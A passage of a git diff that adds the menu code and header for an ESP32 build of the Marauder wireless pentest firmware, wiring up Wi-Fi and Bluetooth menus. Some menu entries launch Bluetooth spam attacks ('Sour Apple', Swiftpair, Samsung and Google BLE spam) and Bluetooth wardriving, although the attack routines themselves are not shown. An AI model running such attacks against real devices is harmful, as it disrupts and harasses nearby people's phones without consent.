+ // this->buttonNotSelected(i + 1);
+ //}
+
+ stations->set(cur_ap_sta, new_sta);
+ }, stations->get(cur_ap_sta).selected);
+ }
+
+ // Final change menu to the menu of Stations
+ this->changeMenu(&wifiStationMenu);
+
+ }, false);
+ }
+ this->changeMenu(&wifiAPMenu);
+ });
+
+ wifiStationMenu.parentMenu = &wifiAPMenu;
+ this->addNodes(&wifiStationMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(wifiStationMenu.parentMenu);
+ });
+ #endif
+
+ // Build generate ssids menu
+ generateSSIDsMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&generateSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(generateSSIDsMenu.parentMenu);
+ });
+
+ // Build clear ssids menu
+ clearSSIDsMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&clearSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(clearSSIDsMenu.parentMenu);
+ });
+ clearAPsMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&clearAPsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(clearAPsMenu.parentMenu);
+ });
+
+ saveSSIDsMenu.parentMenu = &saveFileMenu;
+ this->addNodes(&saveSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(saveSSIDsMenu.parentMenu);
+ });
+
+ loadSSIDsMenu.parentMenu = &saveFileMenu;
+ this->addNodes(&loadSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(loadSSIDsMenu.parentMenu);
+ });
+
+ saveAPsMenu.parentMenu = &saveFileMenu;
+ this->addNodes(&saveAPsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(saveAPsMenu.parentMenu);
+ });
+
+ loadAPsMenu.parentMenu = &saveFileMenu;
+ this->addNodes(&loadAPsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(loadAPsMenu.parentMenu);
+ });
+
+ // Save Files Menu
+ saveFileMenu.parentMenu = &wifiGeneralMenu;
+ this->addNodes(&saveFileMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(saveFileMenu.parentMenu);
+ });
+ this->addNodes(&saveFileMenu, "Save SSIDs", TFT_CYAN, NULL, SD_UPDATE, [this]() {
+ this->changeMenu(&saveSSIDsMenu);
+ wifi_scan_obj.RunSaveSSIDList(true);
+ });
+ this->addNodes(&saveFileMenu, "Load SSIDs", TFT_SKYBLUE, NULL, SD_UPDATE, [this]() {
+ this->changeMenu(&loadSSIDsMenu);
+ wifi_scan_obj.RunLoadSSIDList();
+ });
+ this->addNodes(&saveFileMenu, "Save APs", TFT_NAVY, NULL, SD_UPDATE, [this]() {
+ this->changeMenu(&saveAPsMenu);
+ wifi_scan_obj.RunSaveAPList();
+ });
+ this->addNodes(&saveFileMenu, "Load APs", TFT_BLUE, NULL, SD_UPDATE, [this]() {
+ this->changeMenu(&loadAPsMenu);
+ wifi_scan_obj.RunLoadAPList();
+ });
+
+ // Build Bluetooth Menu
+ bluetoothMenu.parentMenu = &mainMenu; // Second Menu is third menu parent
+ this->addNodes(&bluetoothMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(bluetoothMenu.parentMenu);
+ });
+ this->addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
+ this->changeMenu(&bluetoothSnifferMenu);
+ });
+ this->addNodes(&bluetoothMenu, "Bluetooth Attacks", TFT_RED, NULL, ATTACKS, [this]() {
+ this->changeMenu(&bluetoothAttackMenu);
+ });
+
+ // Build bluetooth sniffer Menu
+ bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
+ this->addNodes(&bluetoothSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(bluetoothSnifferMenu.parentMenu);
+ });
+ this->addNodes(&bluetoothSnifferMenu, text_table1[34], TFT_GREEN, NULL, BLUETOOTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
+ });
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ this->addNodes(&bluetoothSnifferMenu, "BT Wardrive", TFT_CYAN, NULL, BLUETOOTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE, TFT_GREEN);
+ });
+ this->addNodes(&bluetoothSnifferMenu, "BT Wardrive Continuous", TFT_RED, NULL, REBOOT, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_SCAN_WAR_DRIVE_CONT, TFT_GREEN);
+ });
+ }
+ #endif
+ this->addNodes(&bluetoothSnifferMenu, text_table1[35], TFT_MAGENTA, NULL, CC_SKIMMERS, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
+ });
+
+ // Bluetooth Attack menu
+ bluetoothAttackMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
+ this->addNodes(&bluetoothAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(bluetoothAttackMenu.parentMenu);
+ });
+ this->addNodes(&bluetoothAttackMenu, "Sour Apple", TFT_GREEN, NULL, DEAUTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
+ });
+ this->addNodes(&bluetoothAttackMenu, "Swiftpair Spam", TFT_CYAN, NULL, KEYBOARD_ICO, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_ATTACK_SWIFTPAIR_SPAM, TFT_CYAN);
+ });
+ this->addNodes(&bluetoothAttackMenu, "Samsung BLE Spam", TFT_RED, NULL, GENERAL_APPS, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_ATTACK_SAMSUNG_SPAM, TFT_RED);
+ });
+ this->addNodes(&bluetoothAttackMenu, "Google BLE Spam", TFT_PURPLE, NULL, LANGUAGE, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_ATTACK_GOOGLE_SPAM, TFT_RED);
+ });
+ this->addNodes(&bluetoothAttackMenu, "BLE Spam All", TFT_MAGENTA, NULL, DEAUTH_SNIFF, [this]() {
+ display_obj.clearScreen();
+ this->drawStatusBar();
+ wifi_scan_obj.StartScan(BT_ATTACK_SPAM_ALL, TFT_MAGENTA);
+ });
+
+ // Device menu
+ deviceMenu.parentMenu = &mainMenu;
+ this->addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(deviceMenu.parentMenu);
+ });
+ this->addNodes(&deviceMenu, text_table1[15], TFT_ORANGE, NULL, UPDATE, [this]() {
+ wifi_scan_obj.currentScanMode = OTA_UPDATE;
+ this->changeMenu(&whichUpdateMenu);
+ });
+
+ this->addNodes(&deviceMenu, text_table1[16], TFT_GREEN, NULL, LANGUAGE, [this]() {
+
+ wifi_scan_obj.currentScanMode = SHOW_INFO;
+ this->changeMenu(&languageMenu);
+ });
+ this->addNodes(&deviceMenu, text_table1[17], TFT_WHITE, NULL, DEVICE_INFO, [this]() {
+ wifi_scan_obj.currentScanMode = SHOW_INFO;
+ this->changeMenu(&infoMenu);
+ wifi_scan_obj.RunInfo();
+ });
+ this->addNodes(&deviceMenu, text08, TFT_NAVY, NULL, KEYBOARD_ICO, [this]() {
+ this->changeMenu(&settingsMenu);
+ });
+
+ #ifdef HAS_SD
+ if (sd_obj.supported) {
+ this->addNodes(&deviceMenu, "Delete SD Files", TFT_CYAN, NULL, SD_UPDATE, [this]() {
+ #ifndef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ this->changeMenu(&sdDeleteMenu);
+ #if !(defined(MARAUDER_V6) || defined(MARAUDER_V6_1))
+
+ bool deleting = true;
+
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ display_obj.tft.println("Loading...");
+
+ while (deleting) {
+ // Build list of files
+ sd_obj.sd_files->clear();
+ delete sd_obj.sd_files;
+
+ sd_obj.sd_files = new LinkedList();
+
+ sd_obj.sd_files->add("Back");
+
+ sd_obj.listDirToLinkedList(sd_obj.sd_files);
+
+ int sd_file_index = 0;
+
+ this->sdDeleteMenu.list->set(0, MenuNode{sd_obj.sd_files->get(sd_file_index), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(&sdDeleteMenu);
+ this->displayCurrentMenu();
+
+ // Start button loop
+ while(true) {
+ #ifndef MARAUDER_M5STICKC
+ if (u_btn.justPressed()) {
+ if (sd_file_index > 0)
+ sd_file_index--;
+ else
+ sd_file_index = sd_obj.sd_files->size() - 1;
+
+ this->sdDeleteMenu.list->set(0, MenuNode{sd_obj.sd_files->get(sd_file_index), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(&sdDeleteMenu);
+ this->displayCurrentMenu();
+ }
+ #endif
+ if (d_btn.justPressed()) {
+ if (sd_file_index < sd_obj.sd_files->size() - 1)
+ sd_file_index++;
+ else
+ sd_file_index = 0;
+
+ this->sdDeleteMenu.list->set(0, MenuNode{sd_obj.sd_files->get(sd_file_index), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(&sdDeleteMenu, 0, sd_obj.sd_files->get(sd_file_index));
+ this->displayCurrentMenu();
+ }
+ if (c_btn.justPressed()) {
+ if (sd_obj.sd_files->get(sd_file_index) != "Back") {
+ if (sd_obj.removeFile("/" + sd_obj.sd_files->get(sd_file_index)))
+ Serial.println("Successfully Removed File: /" + sd_obj.sd_files->get(sd_file_index));
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ display_obj.tft.println("Deleting /" + sd_obj.sd_files->get(sd_file_index) + "...");
+ }
+ else {
+ this->changeMenu(sdDeleteMenu.parentMenu);
+ deleting = false;
+ }
+ break;
+ }
+ }
+ }
+ #endif
+ #endif
+ #endif
+ });
+ }
+ #endif
+
+ #ifdef HAS_SD
+ #ifndef HAS_ILI9341
+ #ifdef HAS_BUTTONS
+ sdDeleteMenu.parentMenu = &deviceMenu;
+ this->addNodes(&sdDeleteMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(sdDeleteMenu.parentMenu);
+ });
+ #endif
+ #endif
+ #endif
+
+ // GPS Menu
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ this->addNodes(&deviceMenu, "GPS Data", TFT_RED, NULL, GPS_MENU, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
+ this->changeMenu(&gpsInfoMenu);
+ wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
+ });
+
+ this->addNodes(&deviceMenu, "NMEA Stream", TFT_ORANGE, NULL, GPS_MENU, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_NMEA;
+ this->changeMenu(&gpsInfoMenu);
+ wifi_scan_obj.StartScan(WIFI_SCAN_GPS_NMEA, TFT_ORANGE);
+ });
+
+ // GPS Info Menu
+ gpsInfoMenu.parentMenu = &deviceMenu;
+ this->addNodes(&gpsInfoMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+ this->changeMenu(gpsInfoMenu.parentMenu);
+ });
+ }
+ #endif
+
+ // Settings menu
+ // Device menu
+ settingsMenu.parentMenu = &deviceMenu;
+ this->addNodes(&settingsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ changeMenu(settingsMenu.parentMenu);
+ });
+ for (int i = 0; i < settings_obj.getNumberSettings(); i++) {
+ if (this->callSetting(settings_obj.setting_index_to_name(i)) == "bool")
+ this->addNodes(&settingsMenu, settings_obj.setting_index_to_name(i), TFT_LIGHTGREY, NULL, 0, [this, i]() {
+ settings_obj.toggleSetting(settings_obj.setting_index_to_name(i));
+ this->changeMenu(&specSettingMenu);
+ this->displaySetting(settings_obj.setting_index_to_name(i), &settingsMenu, i + 1);
+ }, settings_obj.loadSetting(settings_obj.setting_index_to_name(i)));
+ }
+
+ // Specific setting menu
+ specSettingMenu.parentMenu = &settingsMenu;
+ addNodes(&specSettingMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(specSettingMenu.parentMenu);
+ });
+
+ // Select update
+ whichUpdateMenu.parentMenu = &deviceMenu;
+ this->addNodes(&whichUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ this->changeMenu(whichUpdateMenu.parentMenu);
+ });
+ #ifdef HAS_SD
+ if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
+ wifi_scan_obj.currentScanMode = OTA_UPDATE;
+ this->changeMenu(&confirmMenu);
+ });
+
+ // Confirm SD update menu
+ confirmMenu.parentMenu = &whichUpdateMenu;
+ this->addNodes(&confirmMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ this->changeMenu(confirmMenu.parentMenu);
+ });
+ this->addNodes(&confirmMenu, text14, TFT_ORANGE, NULL, UPDATE, [this]() {
+ wifi_scan_obj.currentScanMode = OTA_UPDATE;
+ this->changeMenu(&failedUpdateMenu);
+ sd_obj.runUpdate();
+ });
+ #endif
+
+ // Web Update
+ updateMenu.parentMenu = &deviceMenu;
+
+ // Failed update menu
+ failedUpdateMenu.parentMenu = &whichUpdateMenu;
+ this->addNodes(&failedUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ this->changeMenu(failedUpdateMenu.parentMenu);
+ });
+
+ // Device info menu
+ infoMenu.parentMenu = &deviceMenu;
+ this->addNodes(&infoMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ this->changeMenu(infoMenu.parentMenu);
+ });
+ //language info menu
+ languageMenu.parentMenu = &deviceMenu;
+ this->addNodes(&languageMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ this->changeMenu(infoMenu.parentMenu);
+ });
+ // Set the current menu to the mainMenu
+ this->changeMenu(&mainMenu);
+
+ this->initTime = millis();
+}
+
+#if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ void MenuFunctions::miniKeyboard(Menu * targetMenu) {
+ // Prepare a char array and reset temp SSID string
+ extern LinkedList* ssids;
+
+ bool pressed = true;
+
+ wifi_scan_obj.current_mini_kb_ssid = "";
+
+ if (c_btn.isHeld()) {
+ while (!c_btn.justReleased())
+ delay(1);
+ }
+
+ int str_len = wifi_scan_obj.alfa.length() + 1;
+
+ char char_array[str_len];
+
+ wifi_scan_obj.alfa.toCharArray(char_array, str_len);
+
+ // Button loop until hold center button
+ #ifdef HAS_BUTTONS
+ #if !(defined(MARAUDER_V6) || defined(MARAUDER_V6_1))
+ while(true) {
+ // Cycle char previous
+ #ifdef HAS_L
+ if (l_btn.justPressed()) {
+ pressed = true;
+ if (this->mini_kb_index > 0)
+ this->mini_kb_index--;
+ else
+ this->mini_kb_index = str_len - 2;
+
+ targetMenu->list->set(0, MenuNode{String(char_array[this->mini_kb_index]).c_str(), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(targetMenu);
+ while (!l_btn.justReleased())
+ delay(1);
+ }
+ #endif
+
+ // Cycle char next
+ #ifdef HAS_R
+ if (r_btn.justPressed()) {
+ pressed = true;
+ if (this->mini_kb_index < str_len - 2)
+ this->mini_kb_index++;
+ else
+ this->mini_kb_index = 0;
+
+ targetMenu->list->set(0, MenuNode{String(char_array[this->mini_kb_index]).c_str(), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(targetMenu, 0, String(char_array[this->mini_kb_index]).c_str());
+ while (!r_btn.justReleased())
+ delay(1);
+ }
+ #endif
+
+ //// 5-WAY SWITCH STUFF
+ // Add character
+ #if (defined(HAS_D) && defined(HAS_R))
+ if (d_btn.justPressed()) {
+ pressed = true;
+ wifi_scan_obj.current_mini_kb_ssid.concat(String(char_array[this->mini_kb_index]).c_str());
+ while (!d_btn.justReleased())
+ delay(1);
+ }
+ #endif
+
+ // Remove character
+ #if (defined(HAS_U) && defined(HAS_L))
+ if (u_btn.justPressed()) {
+ pressed = true;
+ wifi_scan_obj.current_mini_kb_ssid.remove(wifi_scan_obj.current_mini_kb_ssid.length() - 1);
+ while (!u_btn.justReleased())
+ delay(1);
+ }
+ #endif
+
+ //// PARTIAL SWITCH STUFF
+ // Advance char or add char
+ #if (defined(HAS_D) && !defined(HAS_R))
+ if (d_btn.justPressed()) {
+ bool was_held = false;
+ pressed = true;
+ while(!d_btn.justReleased()) {
+ d_btn.justPressed();
+
+ // Add letter to string
+ if (d_btn.isHeld()) {
+ wifi_scan_obj.current_mini_kb_ssid.concat(String(char_array[this->mini_kb_index]).c_str());
+ was_held = true;
+ break;
+ }
+ }
+ if (!was_held) {
+ if (this->mini_kb_index < str_len - 2)
+ this->mini_kb_index++;
+ else
+ this->mini_kb_index = 0;
+
+ targetMenu->list->set(0, MenuNode{String(char_array[this->mini_kb_index]).c_str(), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(targetMenu, 0, String(char_array[this->mini_kb_index]).c_str());
+ }
+ }
+ #endif
+
+ // Prev char or remove char
+ #if (defined(HAS_U) && !defined(HAS_L))
+ if (u_btn.justPressed()) {
+ bool was_held = false;
+ pressed = true;
+ while(!u_btn.justReleased()) {
+ u_btn.justPressed();
+
+ // Remove letter from string
+ if (u_btn.isHeld()) {
+ wifi_scan_obj.current_mini_kb_ssid.remove(wifi_scan_obj.current_mini_kb_ssid.length() - 1);
+ was_held = true;
+ break;
+ }
+ }
+ if (!was_held) {
+ if (this->mini_kb_index > 0)
+ this->mini_kb_index--;
+ else
+ this->mini_kb_index = str_len - 2;
+
+ targetMenu->list->set(0, MenuNode{String(char_array[this->mini_kb_index]).c_str(), false, TFT_CYAN, 0, NULL, true, NULL});
+ this->buildButtons(targetMenu);
+ }
+ }
+ #endif
+
+ // Add SSID
+ #ifdef HAS_C
+ if (c_btn.justPressed()) {
+ while (!c_btn.justReleased()) {
+ c_btn.justPressed(); // Need to continue updating button hold status. My shitty library.
+
+ // Exit
+ if (c_btn.isHeld()) {
+ this->changeMenu(targetMenu->parentMenu);
+ return;
+ }
+ delay(1);
+ }
+ // If we have a string, add it to list of SSIDs
+ if (wifi_scan_obj.current_mini_kb_ssid != "") {
+ pressed = true;
+ ssid s = {wifi_scan_obj.current_mini_kb_ssid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
+ ssids->unshift(s);
+ wifi_scan_obj.current_mini_kb_ssid = "";
+ }
+ }
+ #endif
+
+ // Display info on screen
+ if (pressed) {
+ this->displayCurrentMenu();
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.fillRect(0, SCREEN_HEIGHT / 3, SCREEN_WIDTH, STATUS_BAR_WIDTH, TFT_BLACK);
+ display_obj.tft.fillRect(0, SCREEN_HEIGHT / 3 + TEXT_HEIGHT * 2, SCREEN_WIDTH, STATUS_BAR_WIDTH, TFT_BLACK);
+ display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ display_obj.tft.println(wifi_scan_obj.current_mini_kb_ssid + "\n");
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+
+ display_obj.tft.println(ssids->get(0).essid);
+
+ display_obj.tft.setTextColor(TFT_ORANGE, TFT_BLACK);
+ display_obj.tft.println("U/D - Rem/Add Char");
+ display_obj.tft.println("L/R - Prev/Nxt Char");
+ display_obj.tft.println("C - Save");
+ display_obj.tft.println("C(Hold) - Exit");
+ pressed = false;
+ }
+ }
+ #endif
+ #endif
+ }
+#endif
+
+// Function to change menu
+void MenuFunctions::changeMenu(Menu * menu)
+{
+ display_obj.initScrollValues();
+ display_obj.setupScrollArea(TOP_FIXED_AREA, BOT_FIXED_AREA);
+ display_obj.tft.init();
+ current_menu = menu;
+
+ buildButtons(menu);
+
+ displayCurrentMenu();
+}
+
+// Function to show all MenuNodes in a Menu
+void MenuFunctions::showMenuList(Menu * menu, int layer)
+{
+ // Iterate through all of the menu nodes in the menu
+ for (uint8_t i = 0; i < menu->list->size(); i++)
+ {
+ // Depending on layer, indent
+ for (uint8_t x = 0; x < layer * 4; x++)
+ Serial.print(" ");
+ Serial.print("Node: ");
+ Serial.println(menu->list->get(i).name);
+ }
+ Serial.println();
+}
+
+
+// Function to add MenuNodes to a menu
+void MenuFunctions::addNodes(Menu * menu, String name, uint16_t color, Menu * child, int place, std::function callable, bool selected, String command)
+{
+ TFT_eSPI_Button new_button;
+ menu->list->add(MenuNode{name, false, color, place, &new_button, selected, callable});
+ //menu->list->add(MenuNode{name, false, color, place, selected, callable});
+}
+
+void MenuFunctions::buildButtons(Menu * menu, int starting_index, String button_name)
+{
+ if (menu->list != NULL)
+ {
+ this->menu_start_index = starting_index;
+ for (uint8_t i = 0; i < menu->list->size(); i++)
+ {
+ TFT_eSPI_Button new_button;
+ char buf[menu->list->get(starting_index + i).name.length() + 1] = {};
+ if (button_name != "")
+ menu->list->get(starting_index + i).name.toCharArray(buf, menu->list->get(starting_index + i).name.length() + 1);
+ else
+ button_name.toCharArray(buf, button_name.length() + 1);
+ display_obj.key[i].initButton(&display_obj.tft,
+ KEY_X + 0 * (KEY_W + KEY_SPACING_X),
+ KEY_Y + i * (KEY_H + KEY_SPACING_Y), // x, y, w, h, outline, fill, text
+ KEY_W,
+ KEY_H,
+ TFT_BLACK, // Outline
+ TFT_BLACK, // Fill
+ menu->list->get(starting_index + i).color, // Text
+ buf,
+ KEY_TEXTSIZE);
+
+ display_obj.key[i].setLabelDatum(BUTTON_PADDING - (KEY_W / 2), 2, ML_DATUM);
+ }
+ }
+}
+
+void MenuFunctions::displayCurrentMenu(uint8_t start_index)
+{
+ //Serial.println(F("Displaying current menu..."));
+ display_obj.clearScreen();
+ display_obj.updateBanner(current_menu->name);
+ display_obj.tft.setTextColor(TFT_LIGHTGREY, TFT_DARKGREY);
+ this->drawStatusBar();
+
+ if (current_menu->list != NULL)
+ {
+ #ifdef HAS_ILI9341
+ display_obj.tft.setFreeFont(MENU_FONT);
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.tft.setTextSize(1);
+ #endif
+ for (uint8_t i = start_index; i < current_menu->list->size(); i++)
+ {
+ #ifdef HAS_ILI9341
+ if (!current_menu->list->get(i).selected)
+ display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
+ else
+ display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
+
+ if (current_menu->list->get(i).name != text09)
+ display_obj.tft.drawXBitmap(0,
+ KEY_Y + i * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+ menu_icons[current_menu->list->get(i).icon],
+ ICON_W,
+ ICON_H,
+ TFT_BLACK,
+ current_menu->list->get(i).color);
+
+ #endif
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ if ((current_menu->selected == i) || (current_menu->list->get(i).selected))
+ display_obj.key[i - start_index].drawButton(true, current_menu->list->get(i).name);
+ else
+ display_obj.key[i - start_index].drawButton(false, current_menu->list->get(i).name);
+ #endif
+ }
+ display_obj.tft.setFreeFont(NULL);
+ }
+}
+
+#endif
diff --git a/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.h b/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.h
new file mode 100644
index 0000000..9a10bc3
--- /dev/null
+++ b/S2Mini_esp32_v1.0.0_marauder/MenuFunctions.h
@@ -0,0 +1,233 @@
+#pragma once
+
+#ifndef MenuFunctions_h
+#define MenuFunctions_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+
+#define BATTERY_ANALOG_ON 0
+
+#include "WiFiScan.h"
+#include "BatteryInterface.h"
+#include "SDInterface.h"
+#include "settings.h"
+
+#ifdef HAS_BUTTONS
+ #include "Switches.h"
+ extern Switches u_btn;
+ extern Switches d_btn;
+ extern Switches l_btn;
+ extern Switches r_btn;
+ extern Switches c_btn;
+#endif
+
+extern WiFiScan wifi_scan_obj;
+extern SDInterface sd_obj;
+extern BatteryInterface battery_obj;
+extern Settings settings_obj;
+
+#define FLASH_BUTTON 0
+
+#if BATTERY_ANALOG_ON == 1
+#define BATTERY_PIN 13
+#define ANALOG_PIN 34
+#define CHARGING_PIN 27
+#endif
+
+// Icon definitions
+#define ATTACKS 0
+#define BEACON_SNIFF 1
+#define BLUETOOTH 2
+#define BLUETOOTH_SNIFF 3
+#define DEAUTH_SNIFF 4
+#define DRAW 5
+#define PACKET_MONITOR 6
+#define PROBE_SNIFF 7
+#define SCANNERS 8
+#define CC_SKIMMERS 9
+#define SNIFFERS 10
+#define WIFI 11
+#define BEACON_SPAM 12
+#define RICK_ROLL 13
+#define REBOOT 14
+#define GENERAL_APPS 15
+#define UPDATE 16
+#define DEVICE 17
+#define DEVICE_INFO 18
+#define SD_UPDATE 19
+#define WEB_UPDATE 20
+#define EAPOL 21
+#define STATUS_BAT 22
+#define STATUS_SD 23
+#define PWNAGOTCHI 24
+#define SHUTDOWN 25
+#define BEACON_LIST 26
+#define GENERATE 27
+#define CLEAR_ICO 28
+#define KEYBOARD_ICO 29
+#define JOIN_WIFI 30
+#define LANGUAGE 31
+#define STATUS_GPS 32
+#define GPS_MENU 33
+#define DISABLE_TOUCH 34
+
+PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
+PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
+
+PROGMEM static lv_disp_buf_t disp_buf;
+PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
+
+PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
+PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
+PROGMEM static void html_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
+PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
+
+// lvgl stuff
+PROGMEM static lv_obj_t *kb;
+PROGMEM static lv_obj_t * save_as_kb;
+
+struct Menu;
+
+// Individual Nodes of a menu
+
+struct MenuNode {
+ String name;
+ bool command;
+ uint16_t color;
+ uint8_t icon;
+ TFT_eSPI_Button* button;
+ bool selected;
+ std::function callable;
+};
+
+// Full Menus
+struct Menu {
+ String name;
+ LinkedList* list;
+ Menu * parentMenu;
+ uint8_t selected = 0;
+};
+
+
+class MenuFunctions
+{
+ private:
+
+ String u_result = "";
+
+ uint32_t initTime = 0;
+ uint8_t menu_start_index = 0;
+ uint8_t mini_kb_index = 0;
+ uint8_t old_gps_sat_count = 0;
+
+ // Main menu stuff
+ Menu mainMenu;
+
+ Menu wifiMenu;
+ Menu bluetoothMenu;
+ Menu badusbMenu;
+ Menu deviceMenu;
+
+ // Device menu stuff
+ Menu whichUpdateMenu;
+ Menu failedUpdateMenu;
+ Menu confirmMenu;
+ Menu updateMenu;
+ Menu settingsMenu;
+ Menu specSettingMenu;
+ Menu infoMenu;
+ Menu languageMenu;
+ Menu sdDeleteMenu;
+
+ // WiFi menu stuff
+ Menu wifiSnifferMenu;
+ Menu wifiAttackMenu;
+ Menu wifiGeneralMenu;
+ Menu wifiAPMenu;
+ #ifndef HAS_ILI9341
+ Menu wifiStationMenu;
+ #endif
+
+ // WiFi General Menu
+ Menu htmlMenu;
+ Menu miniKbMenu;
+ Menu saveFileMenu;
+
+ // Bluetooth menu stuff
+ Menu bluetoothSnifferMenu;
+ Menu bluetoothAttackMenu;
+
+ // Settings things menus
+ Menu generateSSIDsMenu;
+
+ static void lv_tick_handler();
+
+ // Menu icons
+
+
+
+ void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function callable, bool selected = false, String command = "");
+ void battery(bool initial = false);
+ void battery2(bool initial = false);
+ void showMenuList(Menu* menu, int layer);
+ String callSetting(String key);
+ void runBoolSetting(String ley);
+ void displaySetting(String key, Menu* menu, int index);
+ void buttonSelected(uint8_t b, int8_t x = -1);
+ void buttonNotSelected(uint8_t b, int8_t x = -1);
+ #if (!defined(HAS_ILI9341) && defined(HAS_BUTTONS))
+ void miniKeyboard(Menu * targetMenu);
+ #endif
+
+ uint8_t updateTouch(uint16_t *x, uint16_t *y, uint16_t threshold = 600);
+
+ public:
